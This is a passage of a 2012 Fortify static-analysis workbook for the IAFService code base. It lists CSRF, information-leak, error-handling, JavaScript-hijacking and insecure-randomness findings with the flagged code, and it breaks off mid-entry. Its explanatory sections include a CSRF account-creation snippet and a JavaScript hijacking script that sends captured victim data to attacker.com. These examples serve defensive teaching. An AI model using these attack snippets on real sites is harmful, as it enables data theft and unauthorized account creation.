Sei sulla pagina 1di 37

Fortify Developer Workbook

Apr 12, 2012 yt8885

Fortify Developer Workbook Report Overview


Report Summary
On Apr 12, 2012, a source code review was performed over the IAFService code base. 63 files, 2640 lines of code were scanned. A total of 48 issues were uncovered during the analysis. This report provides a comprehensive description of all the types of issues found in this project. Specific examples and source code are provided for each issue type.

Issues by Fortify Priority Order Low Medium 26 22

Copyright 2007 Fortify Software Inc.

Page 2 of 37

Fortify Developer Workbook Issue Summary


Overall number of results
The scan found 48 issues.

Issues by Category Cross-Site Request Forgery System Information Leak Poor Error Handling: Overly Broad Catch JavaScript Hijacking: Ad Hoc Ajax Insecure Randomness Log Forging Password Management: Hardcoded Password Missing Check against Null System Information Leak: Missing Catch Block J2EE Misconfiguration: Excessive Session Timeout J2EE Misconfiguration: Missing Error Handling JavaScript Hijacking: Vulnerable Framework Password Management: Password in Comment Unreleased Resource: Streams 9 9 6 5 4 3 3 2 2 1 1 1 1 1

Copyright 2007 Fortify Software Inc.

Page 3 of 37

Fortify Developer Workbook Results Outline


Vulnerabilty Examples by Category Category: Cross-Site Request Forgery (9 Issues) Number of Issues
0 <Unaudited> Not an Issue 1 2 3 4 5 6 7 8 9

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
HTTP requests must contain a user-specific secret in order to prevent an attacker from making unauthorized requests.

Explanation:
A cross-site request forgery (CSRF) vulnerability occurs when: 1. A Web application uses session cookies. 2. The application acts on an HTTP request without verifying that the request was made with the user's consent. If the request does not contain a nonce that proves its provenance, the code that handles the request is vulnerable to a CSRF attack (unless it does not change the state of the application.) This means a Web application that uses session cookies has to take special precautions in order to ensure that an attacker can't trick users into submitting bogus requests. Imagine a Web application that allows administrators to create new accounts as follows: var req = new XMLHttpRequest(); req.open("POST", "/new_user", true); body = addToPost(body, new_username); body = addToPost(body, new_passwd); req.send(body); An attacker might set up a malicious Web site that contains the following code. var req = new XMLHttpRequest(); req.open("POST", "http://www.example.com/new_user", true); body = addToPost(body, "attacker"); body = addToPost(body, "haha"); req.send(body); If an administrator for the vulnerable site visits a page containing this code while she has an active session, she will unwittingly create an account for the attacker. This is a CSRF attack. It is possible because the application does not have a way to determine the provenance of the request. Any request could be a legitimate action chosen by the user or a faked action set up by an attacker. The attacker does not get to see the Web page that the bogus request generates, so the attack technique is only useful for requests that alter the state of the application. Most Web browsers send an HTTP header named referer along with each request. The referer header is supposed to contain the URL of the referring page, but attackers can forge it, so the referer header is not useful for determining the provenance of a request. Applications that pass the session identifier on the URL rather than as a cookie do not have CSRF problems because there is no way for the attacker to access the session identifier and include it as part of the bogus request. CSRF is entry number five on the 2007 OWASP Top 10 list.

Recommendations:

Copyright 2007 Fortify Software Inc.

Page 4 of 37

Fortify Developer Workbook


Applications that use session cookies must include some piece of information in every form post that the back-end code can use to validate the provenance of the request. One way to do that is to include a random request identifier, like this: var req = new XMLHttpRequest(); req.open("POST", "/new_user", true); body = addToPost(body, new_username); body = addToPost(body, new_passwd); body = addToPost(body, request_id); req.send(body); Then the back-end logic can validate the request identifier before processing the rest of the form data. The request identifier can be unique to each server request or can be shared across every request for a particular session. As with session identifiers, the harder it is for an attacker to guess the request identifier, the harder it is to conduct a successful CSRF attack.

Tips:
SCA flags all HTML forms and all XMLHttpRequest objects that might perform a POST operation. The auditor must determine if each form could be valuable to an attacker as a CSRF target and whether or not an appropriate mitigation technique is in place.

FileManagement.js, line 211 (Cross-Site Request Forgery) Folder: Kingdom: Abstract: Sink:
209 210 211 212 213

Info Encapsulation The HTTP request at FileManagement.js line 211 must contain a user-specific secret in order to prevent an attacker from making unauthorized requests. FileManagement.js:211 FunctionPointerCall()
var xmlhttp = getIEHTTPObject(); logMessage( functionName, "Invoking Http GET Operation on Url=" + url + "..." ); xmlhttp.open( "GET", url, true ); xmlhttp.onreadystatechange = function() {

ClientSideTree.js, line 115 (Cross-Site Request Forgery) Folder: Kingdom: Abstract: Sink:
113 114 115 116 117

Info Encapsulation The HTTP request at ClientSideTree.js line 115 must contain a user-specific secret in order to prevent an attacker from making unauthorized requests. ClientSideTree.js:115 FunctionPointerCall()
var url = startUrl + "&eventName=Expand"; var xmlhttp = getHTTPObject(); xmlhttp.open("GET", url, true); xmlhttp.onreadystatechange = function() {

TestClient.jsp, line 16 (Cross-Site Request Forgery) Folder: Kingdom: Abstract: Sink:


14 15 16 17 18

Info Encapsulation Form posts must contain a user-specific secret in order to prevent an attacker from making unauthorized requests. TestClient.jsp:16
<tr> <td> <form action="TestGetEFormsList.jsp" method="post"> <table border="0" width="50%"> <tr>

ClientSideTree.js, line 105 (Cross-Site Request Forgery) Folder: Kingdom: Abstract: Info Encapsulation The HTTP request at ClientSideTree.js line 105 must contain a user-specific secret in order to prevent an attacker from making unauthorized requests.
Page 5 of 37

Copyright 2007 Fortify Software Inc.

Fortify Developer Workbook


Sink:
103 104 105 106 107

ClientSideTree.js:105 FunctionPointerCall()
var url = startUrl + "&eventName=Collapse"; var xmlhttp = getHTTPObject(); xmlhttp.open("GET", url, true); xmlhttp.send(null); window.status = "";

ClientSideTree.js, line 71 (Cross-Site Request Forgery) Folder: Kingdom: Abstract: Sink:


69 70 71 72 73

Info Encapsulation The HTTP request at ClientSideTree.js line 71 must contain a user-specific secret in order to prevent an attacker from making unauthorized requests. ClientSideTree.js:71 FunctionPointerCall()
var xmlhttp = getHTTPObject(); xmlhttp.open("GET", url, true); xmlhttp.onreadystatechange = function() {

Copyright 2007 Fortify Software Inc.

Page 6 of 37

Fortify Developer Workbook


Category: System Information Leak (9 Issues) Number of Issues
0 <Unaudited> Not an Issue 1 2 3 4 5 6 7 8 9

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
Revealing system data or debugging information helps an adversary learn about the system and form a plan of attack.

Explanation:
An information leak occurs when system data or debugging information leaves the program through an output stream or logging function. Example: The following code prints an exception to the standard error stream: try { ... } catch (Exception e) { e.printStackTrace(); } Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Recommendations:
Write error messages with security in mind. In production environments, turn off detailed error information in favor of brief messages. Restrict the generation and storage of detailed output that can help administrators and programmers diagnose problems. Be careful, debugging traces can sometimes appear in non-obvious places (embedded in comments in the HTML for an error page, for example). Even brief error messages that do not reveal stack traces or database dumps can potentially aid an attacker. For example, an "Access Denied" message can reveal that a file or user exists on the system.

Tips:
Do not rely on wrapper scripts, corporate IT policy, or quick-thinking system administrators to prevent system information leaks. Write software that is secure on its own. This category of vulnerability does not apply to all types of programs. For example, if your application executes on a client machine where system information is already available to an attacker, or if you print system information only to a trusted log file, you can use AuditGuide to filter out this category. Foritfy RTA adds protection against this category.

Config.java, line 27 (System Information Leak) Folder: Kingdom: Abstract: Source:


26

Warning Encapsulation The function Config() in Config.java might reveal system data or debugging information by calling error() on line 27. The information revealed by error() could help an adversary form a plan of attack. Config.java:28 java.lang.Throwable.getMessage()
catch(IOException e) {

Copyright 2007 Fortify Software Inc.

Page 7 of 37

Fortify Developer Workbook


27 28 29 30 logger.error("Configuration (" + PROP_FILE + ") failed: " + e.getMessage()); } catch (Exception e) {

Sink:
25 26 27 28 29

Config.java:27 org.apache.log4j.Category.error()
} catch(IOException e) { logger.error("Configuration (" + PROP_FILE + ") failed: " + e.getMessage()); }

Config.java, line 38 (System Information Leak) Folder: Kingdom: Abstract: Source:


36 37 38 39 40

Warning Encapsulation The function Config() in Config.java might reveal system data or debugging information by calling error() on line 38. The information revealed by error() could help an adversary form a plan of attack. Config.java:38 java.lang.Throwable.getMessage()
is.close(); } catch (IOException e){ logger.error("file input stream close failed: " + e.getMessage()); } catch (Exception e) { logger.error("InputStream close failed: " + e.getMessage());

Sink:
36 37 38 39 40

Config.java:38 org.apache.log4j.Category.error()
is.close(); } catch (IOException e){ logger.error("file input stream close failed: " + e.getMessage()); } catch (Exception e) { logger.error("InputStream close failed: " + e.getMessage());

CallbackServlet.java, line 89 (System Information Leak) Folder: Kingdom: Abstract: Source:


85 86 87 88 89

Warning Encapsulation The function handleRequest() in CallbackServlet.java might reveal system data or debugging information by calling debug() on line 89. The information revealed by debug() could help an adversary form a plan of attack. CallbackServlet.java:87 javax.servlet.ServletContext.getRealPath()
.getSession("HelloEForms2", Session.DEFAULT, iafConfig .getSysUserName(), iafConfig.getSysPassWord()); String wcmApiConfigPath = getServletContext().getRealPath( "/WEB-INF/WcmApiConfig.properties"); log.debug("CallbackServlet: Reading (" + wcmApiConfigPath + ")...");

Sink:
87 88 89 90 91

CallbackServlet.java:89 org.apache.log4j.Category.debug()
String wcmApiConfigPath = getServletContext().getRealPath( "/WEB-INF/WcmApiConfig.properties"); log.debug("CallbackServlet: Reading (" + wcmApiConfigPath + ")..."); fis = new FileInputStream(wcmApiConfigPath);

CallbackServlet.java, line 113 (System Information Leak) Folder: Kingdom: Abstract: Source:
111 112 113

Warning Encapsulation The function handleRequest() in CallbackServlet.java might reveal system data or debugging information by calling error() on line 113. The information revealed by error() could help an adversary form a plan of attack. CallbackServlet.java:113 java.lang.Throwable.getMessage()
log.debug("CallbackServlet: << HtmlFormRenderer.handleCallback()."); } catch (FileNotFoundException e) { log.error("CallbackServlet error: file not found " + e.getMessage());

Copyright 2007 Fortify Software Inc.

Page 8 of 37

Fortify Developer Workbook


114 115 } catch (Throwable t) { log.error("CallbackServlet error: " + t.getMessage());

Sink:
111 112 113 114 115

CallbackServlet.java:113 org.apache.log4j.Category.error()
log.debug("CallbackServlet: << HtmlFormRenderer.handleCallback()."); } catch (FileNotFoundException e) { log.error("CallbackServlet error: file not found " + e.getMessage()); } catch (Throwable t) { log.error("CallbackServlet error: " + t.getMessage());

CallbackServlet.java, line 121 (System Information Leak) Folder: Kingdom: Abstract: Source:
119 120 121 122 123

Warning Encapsulation The function handleRequest() in CallbackServlet.java might reveal system data or debugging information by calling error() on line 121. The information revealed by error() could help an adversary form a plan of attack. CallbackServlet.java:121 java.lang.Throwable.getMessage()
fis.close(); } catch (IOException e){ log.error("file input stream close failed: " + e.getMessage()); } catch (Exception e) {

Sink:
119 120 121 122 123

CallbackServlet.java:121 org.apache.log4j.Category.error()
fis.close(); } catch (IOException e){ log.error("file input stream close failed: " + e.getMessage()); } catch (Exception e) {

Copyright 2007 Fortify Software Inc.

Page 9 of 37

Fortify Developer Workbook


Category: Poor Error Handling: Overly Broad Catch (6 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0 4.5 5.0 5.5 6.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
The catch block handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program.

Explanation:
Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention. Example: The following code excerpt handles three types of exceptions in an identical fashion. try { doExchange(); } catch (IOException e) { logger.error("doExchange failed", e); } catch (InvocationTargetException e) { logger.error("doExchange failed", e); } catch (SQLException e) { logger.error("doExchange failed", e); } At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows: try { doExchange(); } catch (Exception e) { logger.error("doExchange failed", e); } However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.

Recommendations:
Do not catch broad exception classes like Exception, Throwable, Error, or <RuntimeException> except at the very top level of the program or thread.

Tips:
Fortify will not flag an overly broad catch block if the catch block in question immediately throws a new exception.

Copyright 2007 Fortify Software Inc.

Page 10 of 37

Fortify Developer Workbook


CallbackServlet.java, line 114 (Poor Error Handling: Overly Broad Catch) Folder: Kingdom: Abstract: Sink:
112 113 114 115 116

Info Errors The catch block at CallbackServlet.java line 114 handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program. CallbackServlet.java:114 CatchBlock()
} catch (FileNotFoundException e) { log.error("CallbackServlet error: file not found " + e.getMessage()); } catch (Throwable t) { log.error("CallbackServlet error: " + t.getMessage()); } finally {

CallbackServlet.java, line 96 (Poor Error Handling: Overly Broad Catch) Folder: Kingdom: Abstract: Sink:
94 95 96 97 98

Info Errors The catch block at CallbackServlet.java line 96 handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program. CallbackServlet.java:96 CatchBlock()
try { ceSession.verify(); } catch (Throwable t) { log.error("CE connect error: " + t.getMessage());

CallbackServlet.java, line 123 (Poor Error Handling: Overly Broad Catch) Folder: Kingdom: Abstract: Sink:
121 122 123 124 125

Info Errors The catch block at CallbackServlet.java line 123 handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program. CallbackServlet.java:123 CatchBlock()
log.error("file input stream close failed: " + e.getMessage()); } catch (Exception e) { log.error("file input stream close failed: " + e.getMessage()); }

Config.java, line 39 (Poor Error Handling: Overly Broad Catch) Folder: Kingdom: Abstract: Sink:
37 38 39 40 41

Info Errors The catch block at Config.java line 39 handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program. Config.java:39 CatchBlock()
} catch (IOException e){ logger.error("file input stream close failed: " + e.getMessage()); } catch (Exception e) { logger.error("InputStream close failed: " + e.getMessage()); }

Config.java, line 30 (Poor Error Handling: Overly Broad Catch) Folder: Kingdom: Info Errors

Copyright 2007 Fortify Software Inc.

Page 11 of 37

Fortify Developer Workbook


Abstract: Sink:
28 29 30 31 32

The catch block at Config.java line 30 handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program. Config.java:30 CatchBlock()
+ e.getMessage()); } catch (Exception e) { logger.error("Configuration (" + PROP_FILE + ") failed: " + e.getMessage());

Copyright 2007 Fortify Software Inc.

Page 12 of 37

Fortify Developer Workbook


Category: JavaScript Hijacking: Ad Hoc Ajax (5 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0 4.5 5.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application.

Explanation:
An application may be vulnerable to JavaScript hijacking [1] if it: - Uses JavaScript as a data transfer format - Handles confidential data Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, Fortify calls attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response. Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a Web page, both the JavaScript and the Web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a Web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional Web applications are not. The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax . JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement. Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a Web application that is used to manage sales leads. It goes on to show how an attacker can mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator. The client requests data from a server and evaluates the result as JSON with the following code: var object; var req = new XMLHttpRequest(); req.open("GET", "/object.json",true); req.onreadystatechange = function () { if (req.readyState == 4) { var txt = req.responseText; object = eval("(" + txt + ")"); req = null; } }; req.send(null); When the code runs, it generates an HTTP request that looks like this: Copyright 2007 Fortify Software Inc. Page 13 of 37

Fortify Developer Workbook


GET /object.json HTTP/1.1 ... Host: www.example.com Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR (In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.) The server responds with an array in JSON format: HTTP/1.1 200 OK Cache-control: private Content-Type: text/JavaScript; charset=utf-8 ... [{"fname":"Brian", "lname":"Chess", "phone":"6502135600", "purchases":60000.00, "email":"brian@fortifysoftware.com" }, {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600", "purchases":120000.00, "email":"katrina@fortifysoftware.com" }, {"fname":"Jacob", "lname":"West", "phone":"6502135600", "purchases":45000.00, "email":"jacob@fortifysoftware.com" }] In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern Web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a Web page that contains the following malicious code, the victim's lead information will be sent to the attacker's Web site. <script> // override the constructor used to create all objects so // that whenever the "email" field is set, the method // captureObject() will run. Since "email" is the final field, // this will allow us to steal the whole object. function Object() { this.email setter = captureObject; } // Send the captured object back to the attacker's Web site function captureObject(x) { var objString = ""; for (fld in this) { objString += fld + ": " + this[fld] + ", "; } objString += "email: " + x; var req = new XMLHttpRequest(); req.open("GET", "http://attacker.com?obj=" + escape(objString),true); req.send(null); } </script> <!-- Use a script tag to bring in victim's data --> <script src="http://www.example.com/object.json"></script> The malicious code uses a script tag to include the JSON object in the current page. The Web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application. When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. Copyright 2007 Fortify Software Inc. Page 14 of 37

Fortify Developer Workbook


If the user is not logged into the vulnerable site, the attacker can compensate by asking the user to log in and then displaying the legitimate login page for the application. This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.

Recommendations:
All programs that communicate using JavaScript should take the following defensive measures: - Decline malicious requests: Include a hard-to-guess identifier, such as the session identifier, as part of each request that will return JavaScript. This defeats cross-site request forgery attacks by allowing the server to validate the origin of the request. - Prevent direct execution of the JavaScript response: Include characters in the response that prevent it from being successfully handed off to a JavaScript interpreter without modification. This prevents an attacker from using a <script> tag to witness the execution of the JavaScript. The best way to defend against JavaScript hijacking is to do adopt both defensive tactics. Declining Malicious Requests From the server's perspective, a JavaScript hijacking attack looks like an attempt at cross-site request forgery, and defenses against cross-site request forgery will also defeat JavaScript hijacking attacks. In order to make it easy to detect malicious requests, every request should include a parameter that is hard for an attacker to guess. One approach is to add the session cookie to the request as a parameter. When the server receives such a request, it can check to be certain the session cookie matches the value in the request parameter. Malicious code does not have access to the session cookie (cookies are also subject to the Same Origin Policy), so there is no easy way for the attacker to craft a request that will pass this test. A different secret can also be used in place of the session cookie. As long as the secret is hard to guess and appears in a context that is accessible to the legitimate application and not accessible from a different domain, it will prevent an attacker from making a valid request. Some frameworks run only on the client side. In other words, they are written entirely in JavaScript and have no knowledge about the workings of the server. This implies that they do not know the name of the session cookie. Even without knowing the name of the session cookie, they can participate in a cookie-based defense by adding all of the cookies to each request to the server. Example 2: The following JavaScript fragment outlines this "blind client" strategy: var httpRequest = new XMLHttpRequest(); ... var cookies="cookies="+escape(document.cookie); http_request.open('POST', url, true); httpRequest.send(cookies); The server could also check the HTTP referer header in order to make sure the request has originated from the legitimate application and not from a malicious application. Historically speaking, the referer header has not been reliable, so we do not recommend using it as the basis for any security mechanisms. A server can mount a defense against JavaScript hijacking by responding to only HTTP POST requests and not responding to HTTP GET requests. This is a defensive technique because the <script> tag always uses GET to load JavaScript from external sources. This defense is also error-prone. The use of GET for better performance is encouraged by Web application experts. The missing connection between the choice of HTTP methods and security means that, at some point, a programmer may mistake this lack of functionality for an oversight rather than a security precaution and modify the application to respond to GET requests. Preventing Direct Execution of the Response In order to make it impossible for a malicious site to execute a response that includes JavaScript, the legitimate client application can take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious application can only execute it using a <script> tag. When the server serializes an object, it should include a prefix (and potentially a suffix) that makes it impossible to execute the JavaScript using a <script> tag. The legitimate client application can remove this extraneous data before running the JavaScript. Example 3: There are many possible implementations of this approach. The following example demonstrates two. First, the server could prefix each message with the statement: while(1); Unless the client removes this prefix, evaluating the message will send the JavaScript interpreter into an infinite loop. The client searches for and removes the prefix like this: var object; var req = new XMLHttpRequest(); req.open("GET", "/object.json",true); req.onreadystatechange = function () { if (req.readyState == 4) { var txt = req.responseText; if (txt.substr(0,9) == "while(1);") { txt = txt.substring(10); Copyright 2007 Fortify Software Inc. Page 15 of 37

Fortify Developer Workbook


} object = eval("(" + txt + ")"); req = null; } }; req.send(null); Second, the server can include comment characters around the JavaScript that have to be removed before the JavaScript is sent to eval(). The following JSON object has been enclosed in a block comment: /* [{"fname":"Brian", "lname":"Chess", "phone":"6502135600", "purchases":60000.00, "email":"brian@fortifysoftware.com" } ] */ The client can search for and remove the comment characters like this: var object; var req = new XMLHttpRequest(); req.open("GET", "/object.json",true); req.onreadystatechange = function () { if (req.readyState == 4) { var txt = req.responseText; if (txt.substr(0,2) == "/*") { txt = txt.substring(2, txt.length - 2); } object = eval("(" + txt + ")"); req = null; } }; req.send(null); Any malicious site that retrieves the sensitive JavaScript via a <script> tag will not gain access to the data it contains.

eforms-core.js, line 3463 (JavaScript Hijacking: Ad Hoc Ajax) Folder: Kingdom: Abstract: Source:
3461 3462 3463

Info Encapsulation Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. eforms-core.js:3463 Read ~localScope.request.responseText()
return request.responseText;if(contentType=="text/xml") return request.responseXML;if(contentType=="text/x-eforms-scriptjavascript"||contentType=="text/x-informed-script-javascript") return request.responseText&&request.responseText.length>0?eval(request.responseText):null;throw new FormException($FET.HE,$.$String.invalidAjaxContentType,null,request.responseText,"599HII"); } $.$HttpRequest.prototype.$buildUrl=function() {var url=this.url;if(this.templateUriIncluded)

3464 3465

Sink:
3461 3462 3463

eforms-core.js:3463 eval(2)()
return request.responseText;if(contentType=="text/xml") return request.responseXML;if(contentType=="text/x-eforms-scriptjavascript"||contentType=="text/x-informed-script-javascript") return request.responseText&&request.responseText.length>0?eval(request.responseText):null;throw new FormException($FET.HE,$.$String.invalidAjaxContentType,null,request.responseText,"599HII"); } $.$HttpRequest.prototype.$buildUrl=function() {var url=this.url;if(this.templateUriIncluded)

3464 3465

Copyright 2007 Fortify Software Inc.

Page 16 of 37

Fortify Developer Workbook


ClientSideTree.js, line 71 (JavaScript Hijacking: Ad Hoc Ajax) Folder: Kingdom: Abstract: Sink:
69 70 71 72 73

Info Encapsulation Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. ClientSideTree.js:71 FunctionPointerCall()
var xmlhttp = getHTTPObject(); xmlhttp.open("GET", url, true); xmlhttp.onreadystatechange = function() {

ClientSideTree.js, line 105 (JavaScript Hijacking: Ad Hoc Ajax) Folder: Kingdom: Abstract: Sink:
103 104 105 106 107

Info Encapsulation Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. ClientSideTree.js:105 FunctionPointerCall()
var url = startUrl + "&eventName=Collapse"; var xmlhttp = getHTTPObject(); xmlhttp.open("GET", url, true); xmlhttp.send(null); window.status = "";

FileManagement.js, line 211 (JavaScript Hijacking: Ad Hoc Ajax) Folder: Kingdom: Abstract: Sink:
209 210 211 212 213

Info Encapsulation Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. FileManagement.js:211 FunctionPointerCall()
var xmlhttp = getIEHTTPObject(); logMessage( functionName, "Invoking Http GET Operation on Url=" + url + "..." ); xmlhttp.open( "GET", url, true ); xmlhttp.onreadystatechange = function() {

ClientSideTree.js, line 115 (JavaScript Hijacking: Ad Hoc Ajax) Folder: Kingdom: Abstract: Sink:
113 114 115 116 117

Info Encapsulation Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. ClientSideTree.js:115 FunctionPointerCall()
var url = startUrl + "&eventName=Expand"; var xmlhttp = getHTTPObject(); xmlhttp.open("GET", url, true); xmlhttp.onreadystatechange = function() {

Copyright 2007 Fortify Software Inc.

Page 17 of 37

Fortify Developer Workbook


Category: Insecure Randomness (4 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
Standard pseudo-random number generators cannot withstand cryptographic attacks.

Explanation:
Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in security-sensitive context. Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. Example: The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase. ... function genReceiptURL (baseURL){ var randNum = Math.random(); var receiptURL = baseURL + randNum + ".html"; return receiptURL; } ... This code uses the Math.random() function to generate "unique" identifiers for the receipt pages it generates. Because Math.random() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Recommendations:
When unpredictability is critical, as is the case with most security-sensitive uses of randomness, use a cryptographic PRNG. Regardless of the PRNG you choose, always use a value with sufficient entropy to seed the algorithm. (Values such as the current time offer only negligible entropy and should not be used.) JavaScript programs can use the window.crypto.random() function in the Mozilla API.

WcmWindowHelper.js, line 27 (Insecure Randomness) Folder: Kingdom: Abstract: Sink:


25 26 27

Info Security Features Standard pseudo-random number generators cannot withstand cryptographic attacks. WcmWindowHelper.js:27 FunctionPointerCall()
function openWindow(pageURL, title, resizable, scrollbars, width, height) { var num = Math.round(Math.random() * 100000);

Copyright 2007 Fortify Software Inc.

Page 18 of 37

Fortify Developer Workbook


28 29 if (pageURL.indexOf("?") > 0) pageURL = pageURL + "&_counter=" + num;

PortletUtilities.js, line 62 (Insecure Randomness) Folder: Kingdom: Abstract: Sink:


60 61 62 63 64

Info Security Features Standard pseudo-random number generators cannot withstand cryptographic attacks. PortletUtilities.js:62 FunctionPointerCall()
function fnOpenWindow(pageURL, name, resizable, scrollbars, width, height) { var num = Math.round(Math.random() * 100000); if (pageURL.indexOf("?") > 0) pageURL = pageURL + "&_counter=" + num;

zapatec.js, line 497 (Insecure Randomness) Folder: Kingdom: Abstract: Sink:


495

Info Security Features Standard pseudo-random number generators cannot withstand cryptographic attacks. zapatec.js:497 FunctionPointerCall()
